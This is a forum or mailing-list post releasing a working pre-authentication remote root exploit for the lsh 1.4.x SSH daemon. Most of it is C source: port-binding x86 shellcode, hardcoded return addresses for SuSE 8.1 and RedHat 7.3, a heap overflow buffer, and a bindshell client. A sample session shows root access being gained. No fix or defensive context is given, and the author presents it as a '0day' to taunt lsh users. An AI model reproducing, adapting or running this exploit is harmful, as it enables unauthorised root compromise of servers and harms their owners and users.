Remote root vuln in lsh 1.4.x
After reading about a theoretical remote hole in OpenSSH and many detractors
smugly saying that they weren't vulnerable because they run LSH (a free
alternative), I'd like to present a working remote root exploit against LSH
version 1.4.x.
Enjoy.
/*
Rough and ready exploit for lsh 1.4.x (other versions ?)
by Haggis aka Carl Livitt - carl.learningshophull@co@uk
Spawns bindshell on port 45295 of remote host.
I suspect the overflow that this exploits is actually part
of the liboop library that lsh uses... I haven't even looked.
I just wanted to get this out the door to stop all the lsh
lovers crooning about how they weren't getting 0wn3d like
the openssh users might be.
Yes, this 0day is real. Yes, it's pre-authentication.
Handily, it also bypasses non-exec stack protection as the
shellcode is on the heap.
NOTE: This 0day public exploit _only_ works if it's the first
thing to connect to the lshd daemon after it has been started.
Any other time, it is just a DoS. Run it a few times against
a host running lshd to see what I mean.
Greets to B-r00t, kraft, marshal-l, ruxor, force5 and everyone
else on #cheese at doris.scriptkiddie.net.
----
haggis@sol:~/exploits/research/lsh/lsh-1.4.2/src> netcat localhost 22
SSH-2.0-lshd_1.4.1 lsh - a free ssh
haggis@sol:~/exploits/research/lsh/lsh-1.4.2/src> ./lsh_exploit -t localhost
LSH 1.4.x (others?) exploit by Haggis (haggis@xxxxxxxxxxxxxxxxxxxx)
[-] Building exploit buffer...
[-] Sending exploit string...
[-] Sleeping...
[-] Connecting to bindshell...
[-] Success!!! You should now be r00t on localhost
id
uid=0(root) gid=0(root) groups=0(root)
----
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>
#define SSH_PORT 22
#define SIZ 8096
#define EXPLOIT_BUF_SIZE 1536 // just approximate - works well enough
#define NOPS_LEN 1600
// So I ripped this from one of my previous exploits for speed...
//
// The following shellcode had 0x3f (?) chars in it which
// cause termination of our HTTP GET before the whole
// shellcode is written to the stack. The 0x3f's are
// needed because they are the dup2() syscall numbers. So,
// I've changed them to 0x3e's and INC'd them before doing
// an INT 0x80. Other than that, this shellcode is eSDee's.
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66"
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
struct
{
char *platform;
unsigned long retAddr;
}
targets[]=
{
{ "SuSE 8.1 - LSH v1.4.x (default)", 0x0809f030},
{ "RedHat 7.3 - LSH v1.4.x", 0x0809d620},
NULL
};
void my_send(int, char *, ...);
void my_recv(int);
int connect_to_host(int);
void my_sleep(int n);
int do_bind_shell();
struct hostent *hostStruct;
char buf[SIZ], host[SIZ]="\0";
int useTarget=0;
// yeah yeah, i could enumerate the targets from the
// struct above. Whatever.
char usage[]=
"Usage: ./lsh_exploit -t <host> [-T host_type]\n\n"
"Available types are:\n"
" 0. SuSE 8.1 / LSH 1.4.x (default)\n"
" 1. RedHat 7.3 / LSH 1.4.x\n\n";
main(int argc, char **argv)
{
int ch, i, targetSock;
unsigned long *retPtr;
char *charRetPtr;
printf("LSH 1.4.x (others?) exploit by Haggis
(haggis@xxxxxxxxxxxxxxxxxxxx)\n\n");
while((ch=getopt(argc, argv, "t:T:h"))!=-1) {
switch(ch) {
case 't':
strncpy(host, optarg, SIZ-1);
break;
case 'T':
useTarget=atoi(optarg);
break;
case 'h':
default:
printf("%s\n",usage);
printf("Available platforms:\n");
for(i=0;targets[i].platform;i++)
printf("%2d. %s\n", i,
targets[i].platform);
printf("\n");
exit(0);
break;
}
}
if(host[0]=='\0') {
printf("[*] You must specify a host!\n");
exit(1);
}
if((hostStruct=gethostbyname(host))==NULL) {
printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n",
host,argv[0]);
exit(1);
}
if((targetSock=connect_to_host(SSH_PORT))==-1) {
printf("[*] Couln't connect to host %s\n", host);
exit(1);
}
// check port 45295 just incase we've already successfuly exploited this host
if(do_bind_shell()==1) {
exit(0);
}
printf("[-] Building exploit buffer...\n");
my_recv(targetSock);
retPtr=(unsigned long *)buf;
for(i=0;i<EXPLOIT_BUF_SIZE/4;i++)
*(retPtr++)=targets[useTarget].retAddr;
for(i=0;i<NOPS_LEN/4;i++)
*(retPtr++)=(unsigned long)0x90909090;
charRetPtr=(unsigned char *)retPtr;
memcpy(charRetPtr, shellcode, strlen(shellcode));
*(charRetPtr+strlen(shellcode))='\n';
*(charRetPtr+strlen(shellcode)+1)='\0';
printf("[-] Sending exploit string...\n");
my_send(targetSock, buf);
close(targetSock);
printf("[-] Sleeping...\n");
my_sleep(100000);
printf("[-] Connecting to bindshell...\n");
if(do_bind_shell()==-1)
printf("[*] Could not connect to %s - the exploit failed\n",
host);
exit(0);
}
int do_bind_shell()
{
fd_set rfds;
int sock,retVal,r;
if((sock=connect_to_host(45295))==-1)
return -1;
printf("[-] Success!!! You should now be r00t on %s\n", host);
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
// bad!
buf[(r=recv(sock, buf, SIZ-1,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, SIZ-1))]='\0';// bad!
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r); //
loop until connection terminates
close(sock);
return 1;
}
// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p)
{
int sock;
struct sockaddr_in saddr;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return -1;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sock);
return -1;
} else
return sock;
}
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...)
{
va_list ap;
char *buf;
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}
// Another handy function to read data from a socket.
void my_recv(int s)
{
int len;
char buf[SIZ];
len=recv(s, buf, SIZ-1, 0);
buf[len]=0;
}
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n)
{
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}